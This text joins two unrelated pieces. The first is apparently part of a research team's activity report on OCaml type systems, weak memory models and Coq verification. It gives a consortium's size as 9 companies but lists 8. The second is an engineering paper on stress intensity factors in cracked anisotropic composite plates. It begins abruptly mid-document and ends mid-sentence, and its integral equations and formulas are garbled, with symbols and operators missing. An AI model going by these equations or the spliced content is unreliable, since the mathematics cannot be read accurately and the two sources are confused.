the features that have been introduced since the last formalization effort by Xavier Leroy. This new system also improves inference and provides a solid basis for further experiments, such as the “modular implicits” that are currently being investigated by Thomas Refis and Didier Rémy (§6.1.5). Gabriel Radanne started a “clean room” implementation of a prototype type-checker for this new module system. ### 6.1.5 Designing and formalizing modular implicits Participants: Thomas Refis, Didier Rémy, Gabriel Radanne, Leo White. A few years ago, White et al. suggested a way to add ad-hoc polymorphism to OCaml, in the form of modular implicits  37. This new language feature can in fact be viewed as the combination of two independent parts. The first component, modular explicits, is an extension to ML's core language with a seemingly dependent arrow type. The second component, an implicit resolution mechanism, finds suitable values for omitted arguments in function applications, based on the type constraints that apply to these missing arguments. In 2020, Thomas Refis started a PhD under the supervision of Didier Rémy. He aims to revive this project and eventually to merge it into mainline OCaml. This year, Thomas and Didier worked on formalizing the semantics of modular explicits, which can be seen as syntactic sugar for first-class functors. They also started studying the resolution mechanism implemented in the earlier prototype of modular implicits, so as to understand its limitations and its interaction with the OCaml type-checker. ### 6.1.6 Partial type inference with second-order types Participants: Didier Rémy. Adding second-order types to ML in a way that smoothly integrates with ML-style type inference for first-order types has been a challenge for many years. In 2007, Le Botlan and Rémy proposed a solution to this problem, named MLF, that is still the state of the art today. Unfortunately, this solution has not been adopted, as it is a bit involved and goes beyond System F, which is the reference system for second-order types. As a result, partial type inference in the presence of second-order types remains a topic of research, and researchers continue to propose ad hoc solutions. Didier Rémy has been investigating a new approach using the powerful inference engine of MLF to infer a typing derivation in MLF, which is then lowered to a derivation of System F. This process fails if no System F derivation exists. Preliminary investigations are promising. ### 6.1.7 Automatic synthesis of high-performance numerical libraries Participants: Basile Clement. Basile Clement has been working on developing a domain-specific language and a machine-learning-based compiler for the synthesis of high-performance numerical libraries, with a focus on GPUs. One of the key challenges is to design a language that is expressive enough to capture complex loop-based code transformations while keeping the proof of semantic preservation simple. Another challenge is to accurately capture the potential peculiarities of the hardware, so as to expose the relation between the program and its performance, as far as possible, to the learning component. This year, Basile worked on a formal semantics for an array language with explicit loops and an equational semantics. He wrote a small prototype verifier in OCaml to test the equivalence of a generated implementation with a given specification, as well as a specification in Coq for a subset of the language. ### 6.1.8 Analysis of an LR parser's stack Participants: Frédéric Bour. A few years ago, building on prior work by Jeffery, François Pottier implemented in the Menhir parser generator a principled method for producing good syntax error messages  36. This method chooses an error message based solely on the state in which a syntax error was detected by the LR automaton. This year, Frédéric Bour investigated a more ambitious approach, with the aim of providing messages that are better suited to certain specific situations. This approach is able to exploit not only the current state of the LR automaton, but also to analyze the shape of its stack, thanks to a novel form of regular expressions. ### 6.1.9 Formalization of equational monadic reasoning for combined choice Participants: Jacques Garrigue, Reynald Affeldt, David Nowak, Takafumi Saikawa. Following work by Affeldt, Nowak and Saikawa on formalized equational monadic reasoning for programs with a variety of effects, we tackled the problem of providing a concrete model for a monad that combines nondeterministic choice with probabilistic choice. The resulting monad is fully formalized in Coq, and relies on a formalization of discrete probabilities and convex distributions. A report has been submitted for publication. This also required a formalization of axiomatic convex spaces, which was separately published at CICM 2020.3 ## 6.2 Shared-memory concurrency ### 6.2.1 Axiomatic memory models Participants: Jade Alglave, Will Deacon, Antoine Hacquard, Luc Maranget. Modern multi-core and multi-processor computers do not follow the intuitive “Sequential Consistency” model that would define a concurrent execution as the interleaving of the executions of its constituent threads and that would command instantaneous writes to the shared memory. This situation is due both to in-core optimizations such as speculative and out-of-order execution of instructions, and to the presence of sophisticated (and cooperating) caching devices between processors and memory. Jade Alglave and Luc Maranget have been collaborating in this domain for a decade. This year, they submitted a paper entitled “Armed cats: formal concurrency modeling at Arm” to the journal Transaction on Programming Languages and Systems (TOPLAS). The article has been accepted modulo revisions, and a revised version has been submitted in December. The paper presents an extension of the AArch64 (ARMv8) and x86 (TSO) models to mixed-size accesses. This extension is of practical interest, as many programs, in particular system programs, access memory using different sizes—e.g. by mixing byte and word accesses—which may overlap. Our work introduces a general treatment of memory model extensions, producing two provably equivalent alternative formulations. Our results have been confirmed via vast experimental campaigns, synthesized at http://diy.inria.fr/mixed/. The paper includes work by Antoine Hacquard, who was an intern at Cambium in 2019. Concurrently, Jade Alglave and Luc Maranget are designing another extension to the ARM memory model, namely virtual memory. This work in progress aims to account for the interaction of the memory model and of virtual memory. Understanding this interaction is an absolute necessity in order to implement correct operating systems. Luc Maranget is specifically in charge of software development and of experiments. We already have interesting experimental results, having experimentally demonstrated the necessity of systems programming idioms recommended by ARM's official documentation. ### 6.2.2 Unifying axiomatic and operational weak memory models Modern multi-processors optimize the running speed of programs using a variety of techniques, including caching, instruction reordering, and branch speculation. While those techniques are perfectly invisible to sequential programs, such is not the case for concurrent programs that execute several threads and share memory: threads do not share at every point in time a single consistent view of memory. A weak memory model offers only weak consistency guarantees when reasoning about the permitted behaviors of a program. Until now, there have been two kinds of such models, based on different mathematical foundations: axiomatic models and operational models. Axiomatic models explicitly represent the dependencies between the program and memory actions. These models are convenient for causal reasoning about programs. They are also well-suited to the simulation and testing of hardware microprocessors. Operational models represent program states directly, thus can be used to reason on programs: program logics become applicable, and the reasoning behind nondeterministic behavior is much clearer. This makes them preferable for reasoning about software. Jean-Marie Madiot has been collaborating with weak memory model expert Jade Alglave and concurrent game semantics researcher Simon Castellan in order to unify these styles, in a way that attempts to combine the best of both approaches. The first results are a formalization of TSO-style architectures using partial-order techniques similar to the ones used in game semantics, and a proof of a stronger-than-state-of-art “data-race freedom” theorem: well-synchronized programs can assume a strong memory model. This year, Jean-Marie Madiot also started developing a tool that transforms models written in the format of the memory model simulator herd into models that can be reasoned about in the Coq proof assistant. This allowed him to build mechanized proofs of properties of existing models: inclusion of models, equivalence of models, and equivalence of different acyclicity conditions. Quentin Ladeveze's formalization of the DRF-SC property of C/C++11 programs (§6.2.3) fits inside the same framework. ### 6.2.3 A mechanized proof of DRF-SC for the RC11 memory model Quentin Ladeveze, who is co-advised by Luc Maranget and Jean-Marie Madiot, has been working on a proof of the DRF-SC property that is independent of the memory model. DRF-SC is a well-known property that most memory models are intended to satisfy. In a weak memory model that satisfies this property, if all of the executions of a program under the sequentially consistent (SC) model are data-race-free (DRF), then all executions of the program under the weak memory model are also consistent with SC. In practice, this property allows a programmer to completely ignore the possible weak behaviors of her program, provided she writes a data-race-free program. Proofs of this property exist for some weak memory models. Our goal is to design a generic proof, by relying on properties that are shared by all of the models that satisfy this property. This year, Quentin Ladeveze formalized in the Coq proof assistant a memory model that describes the behavior of C/C++11 programs and a proof that this model enjoys the DRF-SC property. A paper that describes this formalization has been accepted for presentation at JFLA 2021 19. ## 6.3 Software specification and verification ### 6.3.1 Verified code generation in the polyhedral model Participants: Nathanaël Courant, Xavier Leroy. The polyhedral model is a high-level intermediate representation for loop nests iterating over arrays and matrices, as found in numerical code. It supports a great many loop optimizations (fusion, splitting, interchange, blocking, etc) in a uniform, mathematically-elegant manner. In 2018, Nathanaël Courant, under Xavier Leroy's supervision, developed a Coq formalization of the polyhedral model. He implemented and verified a code generator that produces efficient sequential code out of an optimized polyhedral representation. This year, Nathanaël Courant and Xavier Leroy wrote a paper that describes this verification work 11. This paper has been published and presented at the conference POPL 2021. ### 6.3.2 A separation logic for effect handlers Participants: Paulo Emílio de Vilhena, François Pottier. Paulo Emílio de Vilhena is a second-year PhD student, advised by François Pottier. His aim is to devise a separation logic with support for verifying programs that exploit effect handlers. This year, Paulo made considerable progress towards that goal. He defined a calculus with support for effect handlers, formalized its operational semantics in Coq, and proposed a new separation logic, based on Iris  30, for this calculus. To demonstrate the usability of this logic, he carried out two short yet nontrivial case studies. A paper on this topic has been published and presented at the conference POPL 2021 5. ### 6.3.3 A program logic for Multicore Ocaml Participants: Glen Mével, Jacques-Henri Jourdan, François Pottier. Glen Mével, who is co-advised by Jacques-Henri Jourdan and François Pottier, has been working on designing a mechanized program logic for Multicore OCaml. One of the key challenges is to enable deductive reasoning under a weak memory model. In such a model, the behaviors of a program are no longer described by a naive interleaving semantics. Thus, the operational semantics that describes a weak memory model often feels unnatural to the programmer, and is difficult to reason about. At the beginning of this year, we proposed a program logic for Multicore OCaml, named Cosmo. Cosmo extends Iris  30 with a notion of “view” that allows the programmer to reason in an explicit (yet abstract) manner about the current thread's view of memory, and about the manner in which views are transferred from one thread to another via reads and writes of atomic memory locations. This work has been published and presented by Glen at ICFP 2020 13. Since then, Glen extended Cosmo with support for arrays. This extension allows reasoning on a wider variety of programs. Using this extended logic, Glen proved the functional correctness of a concurrent first-in first-out queue, whose invariant is nontrivial. ### 6.3.4 Algebraically closed fields in Isabelle/HOL Participants: Paulo Emílio de Vilhena, Lawrence Paulson. During the summer of 2018, Paulo Emílio de Vilhena did a research internship under the supervision of Lawrence Paulson at the University of Cambridge. The topic was the formalization of mathematics in the proof assistant Isabelle/HOL. Paulo and Lawrence verified in Isabelle/HOL the fundamental theorem of algebra, which states that every field has an algebraic closure. Although the majority of this work was complete by the end of the internship, the results were published only this year at the conference IJCAR 2020 17. ### 6.3.5 Towards an efficient, verified proof checker for Coq Participants: Nathanaël Courant. Nathanaël Courant, who is advised by Xavier Leroy, has been working on writing a formally verified and efficient convertibility test for Coq. One of the key challenges is to perform strong reduction, whereas computers are better suited to weak reduction. Strong reduction is a form of computation that involves both concrete values and symbolic variables, and where it is permitted to perform reductions in the body of a function before this function is actually called. Weak reduction, in contrast, involves concrete values only, and does not evaluate a function until it is invoked. With strong reduction, care must be taken not to evaluate too much, and to avoid reducing the body of functions that will not appear in the final term. Besides, another difficult problem is to compare reduced terms, or even to combine the convertibility test with reduction itself. This year, Nathanaël worked on defining a big-step semantics for strong call-by-need $\lambda$-calculus. He also wrote a Coq proof that such a semantics is compatible with standard small-step reduction for the $\lambda$-calculus, and extended this result to show that it still holds in the presence of data constructors and pattern matching. ### 6.3.6 An interactive, modular proof environment for OCaml Participants: Frédéric Bour, François Pottier. Frédéric Bour aims to design and implement a tool that allows verifying simple properties of OCaml programs. As a starting point, he is adapting the methodology of the VeriFast verifier  29 to OCaml programs. This year, Frédéric worked on the translation of a subset of OCaml to a custom verification language. Verification is then handled by two different layers: an ad-hoc verifier based on separation logic for modeling effects and the Z3 theorem prover for first-order properties. # 7 Bilateral contracts and grants with industry ## 7.1 Bilateral contracts with industry ### 7.1.1 The Caml Consortium Participants: Damien Doligez. The Caml Consortium is a formal structure where industrial and academic users of OCaml can support the development of the language and associated tools, express their specific needs, and contribute to the long-term stability of OCaml. Membership fees are used to fund specific developments targeted towards industrial users. Members of the Consortium automatically benefit from very liberal licensing conditions on the OCaml system, allowing for instance the OCaml compiler to be embedded within proprietary applications. Damien Doligez chairs the Caml Consortium. The Consortium currently has 9 member companies: • Aesthetic Integration • Citrix • Docker • Esterel / ANSYS • Jane Street • LexiFi • Microsoft • SimCorp In the future, we would like to replace the Caml Consortium with the OCaml Software Foundation, discussed below. For the moment, however, the Caml Consortium remains alive, because the licensing conditions that it offers are unique. ### 7.1.2 Tarides Participants: Frédéric Bour, Thomas Refis, François Pottier, Didier Rémy. Two of our PhD students, Frédéric Bour and Thomas Refis, are employed by Tarides and carry out a PhD under a CIFRE agreement.

The study is performed by the singular integral equation method. They were determined based on the established interdependences between the Lekhnitskii potentials and the stress and strain. The numerical method for solving integral equations is developed based on the quadrature method for the systems of holes and cracks. The eigen solutions of the problem were taken into account in this method. The research of stresses at cracks in samples which are used in experimental studies of crack fracture resistance was performed. ### Keywords • stress intensity factors (SIF) • composite plates • holes • cracks • crack fracture resistance • BIEM • stress-strain state (SSS) ## 1. Introduction The boundary integral equation method (BIEM) is widely used to study the stress-strain state (SSS) of anisotropic plates with holes [1, 2, 3] and cracks [4, 5, 6, 7, 8, 9]. The integral equations for anisotropic plates are usually determined based on the Somigliana identity. Such equations for plates with given stresses at the boundaries of the plate are hypersingular. At the same time, the same problem for isotropic plates is reduced to singular integral equations [10, 11], for which simple numerical algorithms for solving with given precision are obtained. In [12, 13], the simple dependencies between the Lekhnitskii complex potentials and stress and strain are obtained. In a simple form based on them and the Cauchy theorem, the integral equations are written for anisotropic plates with holes [12, 13] and cracks [14, 15, 16]. We will use the established dependencies for the construction and regularization of integral equations for anisotropic plates with holes and cracks. For conducting experimental studies of crack fracture resistance on experimental samples in relation to isotropic materials, theoretical estimates for stresses at cracks are performed. For such materials, the stresses in samples of different shapes with cracks under the action of stretching or compressing concentrated forces are studied in detail [10]. The experimental samples for the experimental determination of the characteristics of crack fracture resistance of various types of materials are made based on performed studies. We perform similar studies for composite samples. ## 2. The integral representations for anisotropic plates with holes and cracks We consider a plate which is weakened with a system hole with boundaries L 1 , , L J (j = 1, , J), and cracks are placed along curves Γ k k = 1 K . The L 0 is the outer boundary of plates. Assume ( Figure 1 ) that a plate is loaded with concentrated forces (Xj , Yj ), j = 1, ..., M acting at the points (aj , bj ); tractions X T Y T are applied to the crack edges, which are accepted the same on its opposite edges; and tractions X L Y L are applied to the boundaries of the holes and plate. ### 2.1 Governing equations Let us start from the Lekhnitskii complex potentials Φ z 1 , Ψ z 2 , where z j = x + s j y and s j , j = 1 , 2 are roots with positive imaginary part of the characteristic equation Δ s = 0 [10]: where Δ s = α 11 s 4 2 α 16 s 3 + 2 α 12 + α 66 s 2 2 α 26 s + α 22 andE1 α ij are elastic compliances which are included in the Hooke’s law [10]: ε x = a 11 σ x + a 12 σ y + a 16 τ xy , ε y = a 12 σ x + a 22 σ y + a 26 τ xy , γ xy = a 16 σ x + a 26 σ y + a 66 τ xy , where ε x , ε y , γ xy are strains and σ x , σ y , τ xy are stresses. Consider an arbitrary path Γ , which belongs to the domain D occupied by the plate, and select a positive direction of traversal ( Figure 2 ). Then introduce in consideration the stress vectors q Γ at the plane tangent to the curve. The normal to it is located right relative to the selected direction of traversal. The projections X Γ Y Γ of stress vectors q Γ and derivatives of displacements u v with respect to an arc coordinate at the curve through Lekhnitskii complex potentials are determined by the formula [17]: Y Γ = 2 Re Φ z 1 z 1 + Ψ z 2 z 2 , X Γ = 2 Re s 1 Φ z 1 z 1 + s 2 Ψ z 2 z 2 , E2 u = 2 Re p 1 Φ z 1 z 1 + p 2 Ψ z 2 z 2 , v = 2 Re q 1 Φ z 1 z 1 + q 2 Ψ z 2 z 2 , E3 where u = du / ds , v = dv / ds and z j = dx / ds + s j dy / ds , where ds is a differential of arc at Γ . The stress vectors q Γ z = X Γ + iY Γ at path Γ are determined using the formulas (2) by the formula: q Γ = s 1 i z 1 Φ z 1 + s 1 ¯ i z 1 ¯ Φ z 1 ¯ + s 2 i z 2 Ψ z 2 + s 2 ¯ i z 2 Ψ z 2 ¯ . E4 Assume that the vectors X Y and u v are known at path Γ . Then based on Eqs. (2) and (3) at Γ one has [12, 15] Φ z 1 = v + s 1 u + p 1 X + q 1 Y Δ 1 z 1 , Ψ z 2 = v + s 2 u + p 2 X + q 2 Y Δ 2 z 2 E5 where Δ j = Δ s j , j = 1 , 2 . ### 2.2 Integral equations for anisotropic bounded plate with holes and cracks Let us write a general solution of the problem based on [12, 15] through the Lekhnitskii potentials in the form Φ z 1 = L u Φ 1 z 1 t 1 + v Φ 2 ( z 1 t 1 ) ds + Γ g 1 Φ 1 z 1 t 1 + g 2 Φ 2 ( z 1 t 1 ) ds + Φ S z 1 + Φ Δ z 1 , E6 Ψ z 2 = L u Ψ 1 z 2 t 2 + v Ψ 2 ( z 2 t 2 ) ds + Γ g 1 Ψ 1 z 2 t 2 + g 2 Ψ 2 ( z 2 t 2 ) ds + Ψ S z 2 + Ψ Δ z 2 , where L = L 0 + L 1 + + L J , Γ = Γ 1 + Γ 2 + + Γ K , s is an arc coordinate, and Φ Δ z 1 and Ψ Δ z 2 are the known functions, which are determined by the following formulas: Φ Δ z 1 = L X L Φ 3 z 1 t 1 + Y L Φ 4 ( z 1 t 1 ) ds , Ψ Δ z 1 = L X L Ψ 3 z 1 t 1 + Y L Ψ 4 ( z 1 t 1 ) ds , E7 Φ j = A j t 1 z 1 , Ψ j = B j t 2 z 2 , E8 A 1 = is 1 2 π Δ 1 , A 2 = i 2 π Δ 1 , A 3 = ip 1 2 π Δ 1 , A 4 = iq 1 2 π Δ 1 , B 1 = is 2 2 π Δ 2 , B 2 = i 2 π Δ 2 , B 3 = ip 2 2 π Δ 2 , B 4 = iq 2 2 π Δ 2 . Here, u , v are the values of the derivatives of the displacements with respect to the arc coordinate at the boundary of the plate and holes, g 1 = u + u , g 2 = v + v are the displacements discontinuity at the cracks, u ± , v ± are limit values of displacements in the approach to the section at the left and the right relative to the selected direction, and the potentials Φ S , Ψ S correspond to the concentrated forces and have the form [12]: Φ S z 1 = i 2 π Δ 1 j = 1 M p 1 X j + q 1 Y j 1 z 1 z 1 j , Ψ S z 2 = i 2 π Δ 2 j = 1 M p 2 X j + q 2 Y j 1 z 2 z 2 j , E9 where in z kj = a j + s k b j , j = 1, 2, and k = 1, 2. Note that when the boundary is traction free, then Φ Δ = Ψ Δ = 0 . Let us substitute the potentials (6) into the formulas (4) for projections of stress vectors determined at the boundaries path L and Γ . Using Plemelj-Sokhotski formula, we obtain a system of integral equations [12, 15]: L u s Q 1 ( Z T ) + v s Q 2 ( Z T ) ds + Γ g 1 s Q 1 ( Z T ) + g 2 s Q 2 ( Z T ) ds = Q Z , Z L Γ , E10 where Q j Z T are stress vectors q L at point Z with coordinates x y . L Γ , the stress vector is determined by the formula (4) accordingly through complex potentials Φ j z 1 t 1 , Ψ j z 2 t 2 , j = 1 , 2 ; T is a point with coordinates ξ η , which belongs to the contour L Γ ; Q Z = Q L Z Q S Z Q Δ Z with Z L and Q Z = Q T Z Q S Z Q Δ Z with Z Γ ; Q L = X L + iY L ; and Q m = X m + iY m , where X m = 2 Re s 1 Φ m z 1 z 1 + s 2 Ψ m z 2 z 2 , Y m = 2 Re Φ m z 1 z 1 + Ψ m z 2 z 2 and m = S , Δ . Using the results [12], we obtained that the unknown functions u , v at the boundary of each of the holes L j , j = 0 , 1 , , J in representation (6) are defined up to a summand u ˜ = ω j dy / ds , v ˜ = ω j dx / ds , where ω j are arbitrary constants. At numerical solution of the problem, the constants ω j , j = 0 , , J are to be necessarily fixed. In addition, to ensure the displacement continuity condition, it is necessary to impose the following conditions on unknown functions: L j u ds = 0 , L j v ds = 0 , j = 0 , , J ; . Γ j g 1 ds = 0 , Γ j g 2 ds = 0 , j = 1 , , K E11 Let us consider a problem-solving equation (10) for the case of one hole and a crack. Let us assume that the contour on which the crack is placed is described parametrically in the form x = α Γ τ , y = β Γ τ , 1 τ 1 , and the equation of the boundary hole is described in the form x = α L θ , y = β L θ , 0 θ < 2 π . Let us assume the representation for the displacement discontinuity at the cracks: g 1 s = dg 1 = U Γ τ 1 τ 2 , g 2 s = dg 2 = V Γ τ 1 τ 2 . Let us replace the integrals with Lobatto-type quadrature formulas [15], and the integrals at the boundaries of the holes replaced by the quadrature of a rectangle, which, for periodic functions, are Gauss quadrature-type formulas [12]. Then we obtain the system of equations: H k = 1 N O q νk 1 U k L + q νk 2 V k L + m = 1 N Γ C m q νm 1 U m Γ + q νm 2 V m Γ = q ν , ν = 1 , , N O + N Γ 1 , E12 where q νk j = Q j Z ν T k L , p νm j = Q j Z ν T m Γ , q ν = Q L Z ν Q S Z ν Q Δ Z ν , U k L = u x k L y k L s k , V k L = v x k L y k L s k , U m Γ = g 1 x m Γ y m Γ s m , V m Γ = g 2 x m Γ y m Γ s m , x k L = α L θ k , y k L = β L θ k , θ k = Hk , θ ˜ n = θ n H / 2 , H = 2 π / N O , x m T = α Γ τ m , y m T = β Γ τ m , τ m = cos π N m 1 , m = 1 , , N Γ ; C m = π N at m 1 and m N Γ ; C 1 = C N Γ = 0 , 5 π N ; π N = π N Γ 1 ; T k L is a point with coordinates x k L y k L , T m Γ is a point with coordinates x m Γ y m Γ , Z ν is a point with coordinates x ˜ ν L y ˜ ν L with 1 ν N L , and is a point with coordinates x ˜ ν N L Γ y ˜ ν N L Γ with N L < ν N L + N Γ 1 , where x ˜ k L = α L θ ˜ k , y ˜ k L = β L θ ˜ k , θ ˜ n = θ n H / 2 , x ˜ m Γ = α Γ τ ˜ m , y ˜ m Γ = β Γ τ ˜ m , τ ˜ m = cos π N m 0 5 . We obtain the additional equation of system (12) from condition (11) k = 1 N Γ C k U k Γ + iV k Γ = 0 . E13 Analogously to [12], we should remove three equations with 1 ν N L and add the following three equations to the received incomplete system: k = 1 N U k L = 0 , k = 1 N V k L = 0 , U m L = 0 , 1 m N E14 The first two equations follow from the displacements continuity conditions (9). The last equation is obtained when fixing an arbitrary constant ω . The system of Eqs. (12)(14) is generalized in the case of hole and crack system in the same way as it was done in [12]. ## 3. Stresses in circular samples with cracks under the action of concentrated forces Let us consider the circular composite plate with radius a, which is weakened by a central crack with the half-length L. The plate is stretched by the concentrated forces ± P applied at points 0 ± y 0 . Destruction of the plate is happening when the stress intensity factors (SIFs) reach a certain limit value. Therefore, when we calculated the limiting loads, we considered the SIF which explicitly takes into account the length of the cracks. Due to this, we performed calculations of the relative SIF K a = K I a P π with different relative distances α = y 0 / a , depending on the half-length of the crack, which is divided into a. Calculations are made for the composite plates with elastic constants shown in Table 1 . Material E 1 (GPa) E 2 (GPa) G 12 (GPa) ν 21 ν 12 LU 10.8 96.0 2.61 0.21 0.024 EF 21 32.8 5.7 0.21 0.134 ### Table 1. Elastic constants of LU and EF materials. The results of the calculations for the plate made of an EF material (with a small degree of anisotropy) with the maximum stiffness in the direction of the OX axis are shown in Figure 3 . In general, the character of the distribution for an EF material is not significantly different from that of an isotropic material. It is necessary to increase monotonically the load for a stable growth of the crack when the distances of forces to a crack are smaller than 0 , 2 a . With y 0 / a = 0 , 3 , the stable growth of cracks (without jumping) will occur at L / a > 0 , 2 ; with y 0 / a = 0 , 4 if L / a > 0 , 25 ; and with y 0 / a = 0 , 5 if L / a > 0 , 35 . At greater distances to forces, after reaching the corresponding level of values of traction, the circle fractures. For a case where the crack is perpendicular to the direction with the maximum stiffness of the material, the SIF is slightly increasing, especially at greater distances to forces. For a weakly anisotropic material, the incline of the crack to the main axis of orthotropy had little effect on the SIF K I , and the SIF K II is practically absent. The calculations have shown that for the case of placing the crack in parallel to the direction with the maximum stiffness of the material, the above set of specifics of the SIF remain unchanged for substantially anisotropic LU-1 material. When the crack is placed perpendicular to the direction with maximum stiffness, stable crack growth occurs of small cracks ( L / a 0 , 1 ) when the relative distance to forces is y 0 / a < 0 , 2 . Moreover, for these cases, the fracture is spasmodic. In all other cases, the SIF increases monotonically with increasing crack length. Hence, the plate fractures completely after reaching forces of critical value. Testing the developed algorithm is conducted for the case of isotropic plate with ν = 0 , 4488 and y 0 / a = 0 , 15 ; 0 , 16 ; 0 , 18 ; 0 , 2 . The calculation results of the relative SIF K a = K I a P are shown in Figure 4 . On the right are shown figures from the book [10]. Such calculations were also performed for the same material, and here the corresponding relative SIF is represented by dashed lines. It is seen that the results obtained by different methods coincide. ## 4. Determination of working intervals of crack lengths at circular samples Two types of samples are used in experimental studies of crack fracture resistance [10]. The first is a sample for which the SIF grows monotonically with the growth of the crack. In the second type, the range of cracks’ lengths is selected in such a way that the SIF K I is practically constant. Hence, it is varied in this range from the mean value to the small value (∼2–4%). This range of crack lengths is called working. The samples of the second type are particularly suitable for conducting experimental studies including a wide range of problems in the area of destruction. In particular, with the constant force factor (the SIF is constant) in such samples, the possibility of an effective study of the rate of growth of fatigue cracks with cyclic loads, the study of crack fracture resistance depending on the influence of working environment, etc. arises. Based on the studies in the literature for isotropic material, it has been established [10] that the range of working lengths is most favorable with α = 0 , 18 , although allowed, and α = 0 , 16 ; 0 , 2 , where α = y 0 / a . With 0 < α < 0 , 2237 the SIF K I increases from zero to a certain maximum (depending on α ), then falls to a minimum, and then increases monotonously. With α > 0 , 2237 the SIF increases monotonically with the increasing length of the crack. We note that such conclusions are valid for material with a Poisson ratio ν = 0 , 4488 . Since at big lengths of cracks L / a > 0 , 5 the SIF depends little on α , then for the first type of samples α = 0 , 65 is taken. Based on the obtained results, let us perform a similar study of samples of two types of composite materials. For samples of the second type, we perform calculations only for small ratios (at α 0 , 2 ). The results of calculations of the SIF in a circular isotropic sample with ν = 1 / 3 are shown in Figure 5 . Here and further is assumed that the relative value of the SIF is equal to K a = K I a P π and the parameter value α is indicated near the curves. Figure 5 shows that the range with few changed SIF is necessary to determine in the vicinity of the lengths of the cracks with L / a 0 , 25 . Similar results for the plate made of an EF material are shown in Figures 6 and 7 . Here two cases are considered: the crack is parallel or perpendicular to the direction in which the stiffness of the material is maximal. From the given data, it is seen that the SIF for an EF material is bigger in the case when the crack is perpendicular to the direction of maximum stiffness of the material. The following conclusions are made based on the data of the calculations: for the crack that is parallel to the direction of maximum stiffness of the material, the minimum deviations from the constant SIF (with an error of not more than 2%) are achieved on the ranges of lengths of cracks with relative dimensions with Δ < 0 , 21 with α = 0 , 24 0 , 26 , where Δ = L 2 L 1 / a . The biggest range ( Δ = 0 , 27 ) with SIF values close to constants with an error 2 , 1 % is achieved with α = 0 , 24 . For the crack that is perpendicular to the direction of maximum stiffness of the material, the range with SIF values close to constants is reduced. Moreover, the distance of force application needs to be increased. The biggest range ( Δ = 0 , 27 ) with SIF values close to constants with an error 3 , 2 % is achieved with α = 0 , 24 . Let us consider the case of samples of the first type 1. For them, the forces are selected that are distant from the crack. For isotropic materials, as a rule, α = 0 , 65 is taken. The above-obtained results of the calculations show that the same distance can be chosen for the composite materials with a crack parallel to the principal axes of the orthotropy. To compare the effect of a sample shape, similar calculations are made for a square plate with a crack. The results of calculations for such an isotropic sample that are similar to the results of calculations for a circle are shown in Figure 8 . The conclusion is made based on the comparison of Figures 5 and 8 that with small distances of forces from cracks, the shape of the sample has little effect on the SIF. Similar results of calculations for LU material are shown in Figure 9 for a horizontal crack and in Figure 10 for a diagonal crack. ## 5. Determination of the SSS of samples under the action of the tractions applied to the hole’s boundary Let us apply the developed algorithm to study a square plate with a half-side a; weakened by a central crack with a half-length L ( Figure 11 ), the edges are not loaded. Two identical circular holes of radius R, the centers of which are located at points 0 ± c , are created for stretching in a plate. It was assumed that the load was applied to the boundary of the circular holes. Using [10], we accept that the forces act normally on the domain θ θ c < γ and are given on it in the form p = P θ θ c 2 4 R sin γ γ cos γ , E15 where θ is angle coordinate on each of the holes, θ c is angle coordinate of the middle of the domain, and Р is the principal vector applied to the domain of forces, which is directed from the center of the hole at an angle θ c . At first, for the purpose of testing the algorithm, the calculations are performed for the case of a localized load at γ = π / 32 and α = c / a = 0 , 2 ; 0 , 4 ; 0 , 6 , with θ c = π / 2 for the upper hole and θ c = π / 2 for the lower hole (thus the stretching of the plate in the direction of the OY axis is considered). The relative SIF Y = K I P πL for an isotropic material with a Poisson ratio ν = 1 / 3 at different crack lengths at R / a = 0 , 1 is calculated and given in Table 2 .

Relative SIFs for a square sample, isotropy. The values of relative SIF Y S obtained by another method in [10] for the case of stretching by concentrated forces (i.e., with γ 0 ) are given in the same table. As you can see, the results for these cases were close, with the exception of the values L / a = 0 , 8 . Some differences in them are due to different localizations of applied tractions. The results of the calculations of SIF are given in Table 3 for the case R 0 , γ = 0 , that is, the case is considered when forces are applied at the center of the holes and more smoothly applied efforts (at γ = π / 8 ). γ = π / 8 R 0 , γ = 0 γ = π / 8 (circle) L / a α = 0.2 0.4 0.6 α = 0.2 0.4 0.6 α = 0.2 0.4 0.6 0.1 0.186 0.254 0.275 0.727 0.462 0.366 0.2069 0.2637 0.2767 0.2 0.732 0.593 0.576 1.073 0.851 0.717 0.7563 0.6096 0.5786 0.3 1.172 0.969 0.905 1.278 1.167 1.049 1.1914 0.9910 0.9101 0.4 1.510 1.335 1.250 1.489 1.452 1.370 1.5415 1.3678 1.2655 0.5 1.827 1.689 1.605 1.742 1.744 1.694 1.8964 1.7516 1.6483 0.6 2.167 2.050 1.974 2.048 2.067 2.039 2.3113 2.1770 2.0811 0.7 2.569 2.459 2.391 2.436 2.459 2.440 2.8332 2.6963 2.6106 0.8 3.139 3.029 2.971 3.008 3.027 3.011 3.5616 3.4216 3.3492 0.9 4.322 4.225 4.181 4.214 4.225 4.209 4.8896 4.7662 4.7132 ### Table 3. Relative SIFs for a square and circular sample, isotropy. The results for a circular sample with γ = π / 8 are shown ( Figure 12 ) in the same table. The following conclusions are made based on Tables 2 and 3 : SIF does not differ significantly in the case of distributed loads with different degrees of localization, SIF increases somewhat with the growth of the domain of action of tractions, and SIFs are bigger at small crack lengths at point action of tractions (at R 0 ) and at all lengths with α > 0 , 6 .

Relative SIFs for a circular sample, LU material. ## 6. Determination of the SSS of samples loaded with concentrated forces at the boundary (compression test) The methods of studied crack fracture resistance based on sample compression in experimental practice are widely used. The direct application of the abovementioned variant of the method of integral equations for the case when the concentrated forces act on the boundary of the domain is associated with significant errors, because unknown functions in the vicinity of the points of application of forces have a singularity. Due to this, it is necessary to separate a singular part in the solution for a more precise solution of this type of task. ### 6.1 Determining a singular part of the solution of this problem Let us consider a point of the plate boundary z 0 , in which the concentrated force (X, Y) is applied. A singular part of the solution (of Lekhnitskii potentials) will be the same as in the half-plane, whose boundary is tangent to the plate at the point of action of the concentrated force. Let us mark this angle through φ and potentials for the half-plane through Φ 0 z 1 , Ψ 0 z 2 . Let us consider at first a half-plane y < 0 , which is loaded with force (X, Y) at an arbitrary point x 0 on the boundary. The Lekhnitskii potentials for this half-plane will be [17] Φ 0 = A z 1 x 0 , Ψ 0 = B z 2 x 0 , where A = X + s 2 Y 2 πi s 1 s 2 , B = X + s 1 Y 2 πi s 1 s 2 . It can be shown [17] that the half-plane also corresponds to the Φ 0 , Ψ 0 potentials, whose boundary passes through the point x 0 0 and is inclined at an arbitrary angle under the action of the same force. Let us consider a semicircle with the center at point x 0 0 of radius ρ 0 , which belongs to the half-plane. It is easy to show that the principal vector of all forces applied to the arc of the semicircle is equal to X Y . This proves that the case of loading by the concentrated force of the half-plane corresponds to the potentials 